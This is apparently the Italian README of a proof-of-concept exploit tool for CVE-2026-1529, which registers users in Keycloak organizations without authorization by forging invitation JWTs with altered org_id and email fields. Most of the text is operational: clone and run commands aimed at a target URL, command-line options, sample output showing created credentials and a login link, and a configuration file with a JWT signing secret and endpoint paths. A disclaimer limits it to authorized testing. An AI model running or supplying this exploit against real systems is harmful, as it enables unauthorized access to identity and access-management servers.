
Strumento di exploit per CVE-2026-1529, che dimostra la registrazione non autorizzata di organizzazioni in Keycloak tramite manipolazione del token JWT. Include generazione del token, manipolazione e registrazione utente con generazione di report.
Keycloak: registrazione non autorizzata di organizzazioni tramite validazione impropria del token di invito
Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza. Utilizzalo solo su sistemi per cui hai esplicita autorizzazione a testare. L'accesso non autorizzato a sistemi informatici è illegale e non etico. Gli autori di questo strumento non sono responsabili di qualsiasi uso improprio o danno causato da questo software.
Creato da: f3ds cr3w est, 2002
CVE-2026-1529 è una vulnerabilità critica in Keycloak che consente la registrazione non autorizzata di organizzazioni tramite una validazione impropria del token di invito. Questo strumento di exploit dimostra la vulnerabilità manipolando i token JWT per registrare utenti in organizzazioni non autorizzate.
La vulnerabilità risiede nel processo di validazione del token JWT per gli inviti alle organizzazioni. Gli attaccanti possono manipolare i campi org_id e email nel payload JWT, consentendo loro di registrare utenti in qualsiasi organizzazione senza la dovuta autorizzazione.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Utilizzo standard con URL di destinazione
python keycloak-exploit.py https://target-keycloak.com
# Mostra aiuto
python keycloak-exploit.py -h
# Mostra versione
python keycloak-exploit.py -v
# Utilizza un token di invito personalizzato
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Utilizza un ID organizzazione personalizzato
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Utilizza un file di configurazione personalizzato
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Abilita il logging di debug
python keycloak-exploit.py -d https://target-keycloak.com
| Opzione | Descrizione | Obbligatoria |
|---|---|---|
target | URL Keycloak di destinazione (IP o dominio) | Sì |
-t, --token | Token di invito personalizzato da utilizzare | No |
-o, --org-id | ID organizzazione personalizzato | No |
-c, --config | Percorso del file di configurazione | No |
-d, --debug | Abilita il logging di debug | No |
-v, --version | Mostra informazioni sulla versione | No |
-h, --help | Mostra il messaggio di aiuto | No |
Quando l'exploit ha successo, vedrai un output come:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Se l'exploit fallisce, vedrai:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Script principale dell'exploit
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── config/
│ └── default_config.json # Configurazione predefinita
├── utils/
│ ├── jwt_utils.py # Utility per la manipolazione JWT
│ ├── http_utils.py # Utility per il client HTTP
│ └── crypto_utils.py # Utility crittografiche
├── output/
│ ├── logs/ # File di log
│ └── reports/ # Report degli exploit
Lo strumento utilizza un file di configurazione predefinito (config/default_config.json) con le seguenti impostazioni:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Puoi creare un file di configurazione personalizzato e utilizzarlo con l'opzione -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
Lo strumento sfrutta la validazione JWT impropria:
org_id per puntare a un'organizzazione diversaemail se necessarioErrori di Connessione
Errori di Validazione del Token
org_id, email, invitation_type)Errori di Registrazione
Abilita il logging di debug per una risoluzione dei problemi dettagliata:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtLo strumento esegue i seguenti controlli:
L'exploit è considerato riuscito se:
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza. Utilizzalo a tuo rischio.
Creato da: f3ds cr3w est, 2002
Contatto: Per domande o feedback, fai riferimento al repository del progetto.
Ricorda: Da un grande potere deriva una grande responsabilità. Usa questo strumento con saggezza ed etica.
by f3ds cr3w est, 2002